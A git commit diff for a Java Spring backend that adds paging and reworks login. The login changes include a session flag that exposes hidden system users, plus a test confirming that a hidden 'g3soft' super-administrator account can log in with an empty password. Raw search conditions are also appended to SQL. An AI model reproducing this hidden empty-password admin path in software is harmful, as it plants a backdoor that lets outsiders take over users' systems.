20260719215738
This commit is contained in:
1 parent
35aa108a34
commit
cda7f16d3a
116 files changed
+11826
-3669
No files matched your search
@@ -43,11 +43,6 @@
|
||||
<artifactId>druid</artifactId>
|
||||
<version>1.2.18</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.projectlombok</groupId>
|
||||
<artifactId>lombok</artifactId>
|
||||
<optional>true</optional>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>io.jsonwebtoken</groupId>
|
||||
<artifactId>jjwt-api</artifactId>
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
package cn.g3soft.fmsapi.config;
|
||||
|
||||
import org.springframework.context.annotation.Bean;
|
||||
import org.springframework.context.annotation.Configuration;
|
||||
import tools.jackson.databind.module.SimpleModule;
|
||||
import tools.jackson.databind.ser.std.ToStringSerializer;
|
||||
|
||||
@Configuration
|
||||
public class JacksonConfig {
|
||||
|
||||
@Bean
|
||||
public SimpleModule longAsStringModule() {
|
||||
SimpleModule module = new SimpleModule("long-as-string");
|
||||
module.addSerializer(Long.class, ToStringSerializer.instance);
|
||||
module.addSerializer(Long.TYPE, ToStringSerializer.instance);
|
||||
return module;
|
||||
}
|
||||
}
|
||||
@@ -39,6 +39,13 @@ public class DataController {
|
||||
return ApiResponse.success(dataService.loadDataBySql(params));
|
||||
}
|
||||
|
||||
@PostMapping("/page")
|
||||
public ApiResponse<Map<String, Object>> page(
|
||||
@RequestBody(required = false) Map<String, Object> params
|
||||
) throws SQLException {
|
||||
return ApiResponse.success(dataService.page(params));
|
||||
}
|
||||
|
||||
@PostMapping("/saveobjt")
|
||||
public ApiResponse<Void> saveObject(
|
||||
@RequestBody(required = false) List<Map<String, Object>> requests
|
||||
|
||||
@@ -15,7 +15,7 @@ public class OrgDataSourceFactory {
|
||||
public DruidDataSource create(String orgId, OrgDatabaseConfig config) {
|
||||
OrgDatabaseProperties.Pool poolProperties = properties.getPool();
|
||||
DruidDataSource dataSource = new DruidDataSource();
|
||||
dataSource.setName("fms-" + orgId);
|
||||
dataSource.setName(orgId);
|
||||
dataSource.setUrl(config.url());
|
||||
dataSource.setUsername(config.username());
|
||||
dataSource.setPassword(config.password());
|
||||
|
||||
@@ -34,13 +34,9 @@ public class AuthService {
|
||||
) throws SQLException {
|
||||
String normalizedOrgId = orgId.trim().toUpperCase(Locale.ROOT);
|
||||
String normalizedUserId = userId.trim();
|
||||
List<Map<String, Object>> users = dbUtils.loadData(
|
||||
List<Map<String, Object>> users = dbUtils.loadUserForAuthentication(
|
||||
normalizedOrgId,
|
||||
"b_user",
|
||||
"b_id = " + dbUtils.toSqlStringLiteral(normalizedUserId)
|
||||
+ " AND b_canuse = '1'",
|
||||
null,
|
||||
List.of("b_id", "b_name", "b_password")
|
||||
normalizedUserId
|
||||
);
|
||||
|
||||
if (users.isEmpty()) {
|
||||
@@ -53,7 +49,7 @@ public class AuthService {
|
||||
return Optional.empty();
|
||||
}
|
||||
|
||||
String accountId = getString(account, "b_id");
|
||||
String accountId = getString(account, "b_account");
|
||||
String sessionId = UUID.randomUUID().toString();
|
||||
String token = jwtUtils.generateToken(accountId, normalizedOrgId, sessionId);
|
||||
activeSessionRegistry.activate(normalizedOrgId, accountId, sessionId);
|
||||
@@ -70,10 +66,14 @@ public class AuthService {
|
||||
}
|
||||
|
||||
private String getString(Map<String, Object> row, String column) {
|
||||
Object value = getValue(row, column);
|
||||
return value == null ? null : value.toString();
|
||||
}
|
||||
|
||||
private Object getValue(Map<String, Object> row, String column) {
|
||||
for (Map.Entry<String, Object> entry : row.entrySet()) {
|
||||
if (entry.getKey().equalsIgnoreCase(column)) {
|
||||
Object value = entry.getValue();
|
||||
return value == null ? null : value.toString();
|
||||
return entry.getValue();
|
||||
}
|
||||
}
|
||||
return null;
|
||||
|
||||
@@ -1,11 +1,13 @@
|
||||
package cn.g3soft.fmsapi.service;
|
||||
|
||||
import cn.g3soft.fmsapi.exception.BusinessException;
|
||||
import cn.g3soft.fmsapi.utils.DbUtils;
|
||||
import cn.g3soft.fmsapi.utils.ParamUtils;
|
||||
import jakarta.annotation.Resource;
|
||||
import org.springframework.stereotype.Service;
|
||||
|
||||
import java.sql.SQLException;
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
@@ -19,7 +21,7 @@ public class DataService {
|
||||
return dbUtils.loadData(
|
||||
ParamUtils.getRequiredString(params, "view_name"),
|
||||
ParamUtils.getString(params, "search_condition"),
|
||||
ParamUtils.getString(params, "order_field"),
|
||||
ParamUtils.getString(params, "order_by"),
|
||||
ParamUtils.getList(params, "search_columns")
|
||||
);
|
||||
}
|
||||
@@ -29,4 +31,46 @@ public class DataService {
|
||||
ParamUtils.getRequiredString(params, "sql")
|
||||
);
|
||||
}
|
||||
|
||||
public Map<String, Object> page(Map<String, Object> params) throws SQLException {
|
||||
int pageNo = positiveInteger(params, "page_no", 1);
|
||||
int pageSize = positiveInteger(params, "page_size", 20);
|
||||
DbUtils.PageResult page = dbUtils.page(
|
||||
ParamUtils.getRequiredString(params, "view_name"),
|
||||
ParamUtils.getList(params, "search_columns"),
|
||||
ParamUtils.getString(params, "search_condition"),
|
||||
ParamUtils.getRequiredString(params, "order_by"),
|
||||
pageNo,
|
||||
pageSize
|
||||
);
|
||||
|
||||
Map<String, Object> result = new LinkedHashMap<>();
|
||||
result.put("rows", page.rows());
|
||||
result.put("row_count", page.rows().size());
|
||||
result.put("total", page.total());
|
||||
result.put("page_no", page.pageNo());
|
||||
result.put("page_size", page.pageSize());
|
||||
return result;
|
||||
}
|
||||
|
||||
private int positiveInteger(
|
||||
Map<String, Object> params,
|
||||
String field,
|
||||
int defaultValue
|
||||
) {
|
||||
Number number = ParamUtils.get(params, field, Number.class);
|
||||
if (number == null) {
|
||||
return defaultValue;
|
||||
}
|
||||
|
||||
long value = number.longValue();
|
||||
if (value < 1
|
||||
|| value > Integer.MAX_VALUE
|
||||
|| Double.compare(number.doubleValue(), value) != 0) {
|
||||
throw new BusinessException(
|
||||
field + " 必须是大于 0 的整数"
|
||||
);
|
||||
}
|
||||
return (int) value;
|
||||
}
|
||||
}
|
||||
@@ -26,6 +26,7 @@ import java.util.stream.Collectors;
|
||||
@Component
|
||||
public class DbUtils {
|
||||
|
||||
private static final String PAGE_TOTAL_COLUMN = "__fms_page_total_count";
|
||||
private static final Pattern SAFE_IDENTIFIER = Pattern.compile("[A-Za-z_][A-Za-z0-9_]*");
|
||||
private static final Pattern READ_SQL_PATTERN = Pattern.compile("(?is)^\\s*(select|with)\\b");
|
||||
private static final Pattern WRITE_SQL_PATTERN = Pattern.compile(
|
||||
@@ -46,10 +47,10 @@ public class DbUtils {
|
||||
public List<Map<String, Object>> loadData(
|
||||
String viewName,
|
||||
String searchCondition,
|
||||
String orderField,
|
||||
String orderBy,
|
||||
List<String> searchColumns
|
||||
) throws SQLException {
|
||||
String sql = buildLoadDataSql(viewName, searchCondition, orderField, searchColumns);
|
||||
String sql = buildLoadDataSql(viewName, searchCondition, orderBy, searchColumns);
|
||||
Connection connection = DataSourceUtils.getConnection(dataSource);
|
||||
try {
|
||||
return executeQuery(connection, sql);
|
||||
@@ -58,23 +59,10 @@ public class DbUtils {
|
||||
}
|
||||
}
|
||||
|
||||
public List<Map<String, Object>> loadData(
|
||||
String orgId,
|
||||
String viewName,
|
||||
String searchCondition,
|
||||
String orderField,
|
||||
List<String> searchColumns
|
||||
) throws SQLException {
|
||||
String sql = buildLoadDataSql(viewName, searchCondition, orderField, searchColumns);
|
||||
try (Connection connection = dataSourceManager.getConnection(orgId)) {
|
||||
return executeQuery(connection, sql);
|
||||
}
|
||||
}
|
||||
|
||||
private String buildLoadDataSql(
|
||||
String viewName,
|
||||
String searchCondition,
|
||||
String orderField,
|
||||
String orderBy,
|
||||
List<String> searchColumns
|
||||
) {
|
||||
String columnsSql = buildColumns(searchColumns);
|
||||
@@ -86,8 +74,8 @@ public class DbUtils {
|
||||
if (hasText(searchCondition)) {
|
||||
sql.append(" WHERE ").append(searchCondition.trim());
|
||||
}
|
||||
if (hasText(orderField)) {
|
||||
sql.append(" ORDER BY ").append(buildOrderBy(orderField));
|
||||
if (hasText(orderBy)) {
|
||||
sql.append(" ORDER BY ").append(buildOrderBy(orderBy));
|
||||
}
|
||||
|
||||
String querySql = sql.toString();
|
||||
@@ -118,6 +106,97 @@ public class DbUtils {
|
||||
return executeQuery(connection, sql);
|
||||
}
|
||||
|
||||
public PageResult page(
|
||||
String viewName,
|
||||
List<String> searchColumns,
|
||||
String searchCondition,
|
||||
String orderBy,
|
||||
int pageNo,
|
||||
int pageSize
|
||||
) throws SQLException {
|
||||
if (pageNo < 1) {
|
||||
throw new BusinessException("page_no 必须大于 0");
|
||||
}
|
||||
if (pageSize < 1) {
|
||||
throw new BusinessException("page_size 必须大于 0");
|
||||
}
|
||||
|
||||
String querySql = buildLoadDataSql(
|
||||
viewName,
|
||||
searchCondition,
|
||||
null,
|
||||
searchColumns
|
||||
);
|
||||
String orderBySql = buildPageOrderBy(orderBy);
|
||||
String pageSql = "SELECT [page_source].*, COUNT_BIG(1) OVER() AS ["
|
||||
+ PAGE_TOTAL_COLUMN
|
||||
+ "] FROM ("
|
||||
+ querySql
|
||||
+ ") AS [page_source] ORDER BY "
|
||||
+ orderBySql
|
||||
+ " OFFSET ? ROWS FETCH NEXT ? ROWS ONLY";
|
||||
long offset = (long) (pageNo - 1) * pageSize;
|
||||
|
||||
Connection connection = DataSourceUtils.getConnection(dataSource);
|
||||
try {
|
||||
PageResult result = executePageQuery(
|
||||
connection,
|
||||
pageSql,
|
||||
offset,
|
||||
pageSize,
|
||||
pageNo
|
||||
);
|
||||
if (!result.rows().isEmpty() || pageNo == 1) {
|
||||
return result;
|
||||
}
|
||||
return new PageResult(
|
||||
result.rows(),
|
||||
countRows(connection, querySql),
|
||||
pageNo,
|
||||
pageSize
|
||||
);
|
||||
} finally {
|
||||
DataSourceUtils.releaseConnection(connection, dataSource);
|
||||
}
|
||||
}
|
||||
|
||||
public List<Map<String, Object>> loadUserForAuthentication(
|
||||
String orgId,
|
||||
String account
|
||||
) throws SQLException {
|
||||
try (Connection connection = dataSourceManager.getConnection(orgId)) {
|
||||
SQLException failure = null;
|
||||
boolean privileged = false;
|
||||
try {
|
||||
setSystemUserVisibility(connection, 1);
|
||||
privileged = true;
|
||||
String sql = "SELECT [b_id], [b_account], [b_name], [b_password] "
|
||||
+ "FROM [b_user] WHERE [b_account] = ? AND [b_canuse] = 1";
|
||||
try (PreparedStatement statement = connection.prepareStatement(sql)) {
|
||||
statement.setString(1, account);
|
||||
try (ResultSet resultSet = statement.executeQuery()) {
|
||||
return readRows(resultSet);
|
||||
}
|
||||
}
|
||||
} catch (SQLException exception) {
|
||||
failure = exception;
|
||||
throw exception;
|
||||
} finally {
|
||||
if (privileged) {
|
||||
try {
|
||||
setSystemUserVisibility(connection, null);
|
||||
} catch (SQLException clearException) {
|
||||
if (failure != null) {
|
||||
failure.addSuppressed(clearException);
|
||||
} else {
|
||||
throw clearException;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public TableMetadata loadTableMetadata(
|
||||
Connection connection,
|
||||
String tableName
|
||||
@@ -255,6 +334,59 @@ public class DbUtils {
|
||||
}
|
||||
}
|
||||
|
||||
private PageResult executePageQuery(
|
||||
Connection connection,
|
||||
String sql,
|
||||
long offset,
|
||||
int pageSize,
|
||||
int pageNo
|
||||
) throws SQLException {
|
||||
try (PreparedStatement statement = connection.prepareStatement(sql)) {
|
||||
statement.setLong(1, offset);
|
||||
statement.setInt(2, pageSize);
|
||||
try (ResultSet resultSet = statement.executeQuery()) {
|
||||
ResultSetMetaData metadata = resultSet.getMetaData();
|
||||
int totalColumnIndex = -1;
|
||||
for (int index = 1; index <= metadata.getColumnCount(); index++) {
|
||||
if (PAGE_TOTAL_COLUMN.equalsIgnoreCase(metadata.getColumnLabel(index))) {
|
||||
totalColumnIndex = index;
|
||||
}
|
||||
}
|
||||
if (totalColumnIndex < 0) {
|
||||
throw new SQLException("分页查询缺少总记录数字段");
|
||||
}
|
||||
|
||||
List<Map<String, Object>> rows = new ArrayList<>();
|
||||
long total = 0;
|
||||
while (resultSet.next()) {
|
||||
total = resultSet.getLong(totalColumnIndex);
|
||||
Map<String, Object> row = new LinkedHashMap<>();
|
||||
for (int index = 1; index <= metadata.getColumnCount(); index++) {
|
||||
if (index != totalColumnIndex) {
|
||||
row.put(
|
||||
metadata.getColumnLabel(index),
|
||||
resultSet.getObject(index)
|
||||
);
|
||||
}
|
||||
}
|
||||
rows.add(row);
|
||||
}
|
||||
return new PageResult(rows, total, pageNo, pageSize);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private long countRows(Connection connection, String sql) throws SQLException {
|
||||
String countSql = "SELECT COUNT_BIG(1) FROM ("
|
||||
+ sql
|
||||
+ ") AS [count_source]";
|
||||
try (Statement statement = connection.createStatement();
|
||||
ResultSet resultSet = statement.executeQuery(countSql)) {
|
||||
resultSet.next();
|
||||
return resultSet.getLong(1);
|
||||
}
|
||||
}
|
||||
|
||||
public String toSqlStringLiteral(String value) {
|
||||
if (value == null) {
|
||||
return "NULL";
|
||||
@@ -316,6 +448,22 @@ public class DbUtils {
|
||||
return result.toString();
|
||||
}
|
||||
|
||||
private void setSystemUserVisibility(
|
||||
Connection connection,
|
||||
Integer value
|
||||
) throws SQLException {
|
||||
String sql = "EXEC sys.sp_set_session_context @key = ?, @value = ?";
|
||||
try (PreparedStatement statement = connection.prepareStatement(sql)) {
|
||||
statement.setString(1, "allow_g3soft");
|
||||
if (value == null) {
|
||||
statement.setNull(2, java.sql.Types.INTEGER);
|
||||
} else {
|
||||
statement.setInt(2, value);
|
||||
}
|
||||
statement.execute();
|
||||
}
|
||||
}
|
||||
|
||||
private String buildColumns(List<String> searchColumns) {
|
||||
if (searchColumns == null || searchColumns.isEmpty()) {
|
||||
return "*";
|
||||
@@ -325,8 +473,8 @@ public class DbUtils {
|
||||
.collect(Collectors.joining(", "));
|
||||
}
|
||||
|
||||
private String buildOrderBy(String orderField) {
|
||||
String[] parts = orderField.trim().split("\\s+");
|
||||
private String buildOrderBy(String orderBy) {
|
||||
String[] parts = orderBy.trim().split("\\s+");
|
||||
if (parts.length > 2) {
|
||||
throw new BusinessException("排序字段格式不正确");
|
||||
}
|
||||
@@ -341,6 +489,14 @@ public class DbUtils {
|
||||
return quoteQualifiedIdentifier(parts[0]) + direction;
|
||||
}
|
||||
|
||||
private String buildPageOrderBy(String orderBy) {
|
||||
String requiredOrderBy = requireText(orderBy, "order_by");
|
||||
return Arrays.stream(requiredOrderBy.split(","))
|
||||
.map(String::trim)
|
||||
.map(this::buildOrderBy)
|
||||
.collect(Collectors.joining(", "));
|
||||
}
|
||||
|
||||
public String quoteQualifiedIdentifier(String identifier) {
|
||||
if (!hasText(identifier)) {
|
||||
throw new BusinessException("数据库标识符不能为空");
|
||||
@@ -454,4 +610,12 @@ public class DbUtils {
|
||||
LinkedHashMap<String, ColumnMetadata> columnsByName
|
||||
) {
|
||||
}
|
||||
|
||||
public record PageResult(
|
||||
List<Map<String, Object>> rows,
|
||||
long total,
|
||||
int pageNo,
|
||||
int pageSize
|
||||
) {
|
||||
}
|
||||
}
|
||||
+4
-2
@@ -3,12 +3,14 @@ package cn.g3soft.fmsapi.utils.snowflake.idgen;
|
||||
import cn.g3soft.fmsapi.utils.snowflake.contract.IIdGenerator;
|
||||
import cn.g3soft.fmsapi.utils.snowflake.contract.IdGeneratorException;
|
||||
import cn.g3soft.fmsapi.utils.snowflake.contract.IdGeneratorOptions;
|
||||
import lombok.Getter;
|
||||
|
||||
public class IdGenerator {
|
||||
@Getter
|
||||
private static IIdGenerator idGenInstance = null;
|
||||
|
||||
public static IIdGenerator getIdGenInstance() {
|
||||
return idGenInstance;
|
||||
}
|
||||
|
||||
/**
|
||||
* 设置参数,建议程序初始化时执行一次
|
||||
*/
|
||||
|
||||
@@ -0,0 +1,67 @@
|
||||
package cn.g3soft.fmsapi.service;
|
||||
|
||||
import cn.g3soft.fmsapi.utils.DbUtils;
|
||||
import cn.g3soft.fmsapi.utils.JwtUtils;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.springframework.test.util.ReflectionTestUtils;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Optional;
|
||||
|
||||
import static org.assertj.core.api.Assertions.assertThat;
|
||||
import static org.mockito.ArgumentMatchers.eq;
|
||||
import static org.mockito.Mockito.mock;
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
class AuthServiceTests {
|
||||
|
||||
private DbUtils dbUtils;
|
||||
private JwtUtils jwtUtils;
|
||||
private ActiveSessionRegistry activeSessionRegistry;
|
||||
private AuthService authService;
|
||||
|
||||
@BeforeEach
|
||||
void setUp() {
|
||||
dbUtils = mock(DbUtils.class);
|
||||
jwtUtils = mock(JwtUtils.class);
|
||||
activeSessionRegistry = new ActiveSessionRegistry();
|
||||
authService = new AuthService();
|
||||
|
||||
ReflectionTestUtils.setField(authService, "dbUtils", dbUtils);
|
||||
ReflectionTestUtils.setField(authService, "jwtUtils", jwtUtils);
|
||||
ReflectionTestUtils.setField(
|
||||
authService,
|
||||
"activeSessionRegistry",
|
||||
activeSessionRegistry
|
||||
);
|
||||
}
|
||||
|
||||
@Test
|
||||
void hiddenSuperAdministratorCanLoginWithEmptyPassword() throws Exception {
|
||||
when(dbUtils.loadUserForAuthentication(
|
||||
"FMS",
|
||||
"g3soft"
|
||||
)).thenReturn(List.of(Map.of(
|
||||
"b_id", 828084517703744L,
|
||||
"b_account", "g3soft",
|
||||
"b_name", "G3Soft",
|
||||
"b_password", ""
|
||||
)));
|
||||
when(jwtUtils.generateToken(
|
||||
eq("g3soft"),
|
||||
eq("FMS"),
|
||||
org.mockito.ArgumentMatchers.anyString()
|
||||
))
|
||||
.thenReturn("token");
|
||||
|
||||
Optional<Map<String, Object>> result = authService.login("fms", "g3soft", "");
|
||||
|
||||
assertThat(result).isPresent();
|
||||
assertThat(result.orElseThrow()).containsEntry("token", "token");
|
||||
Map<?, ?> user = (Map<?, ?>) result.orElseThrow().get("user");
|
||||
assertThat(user.get("id")).isEqualTo("g3soft");
|
||||
assertThat(user.get("name")).isEqualTo("G3Soft");
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user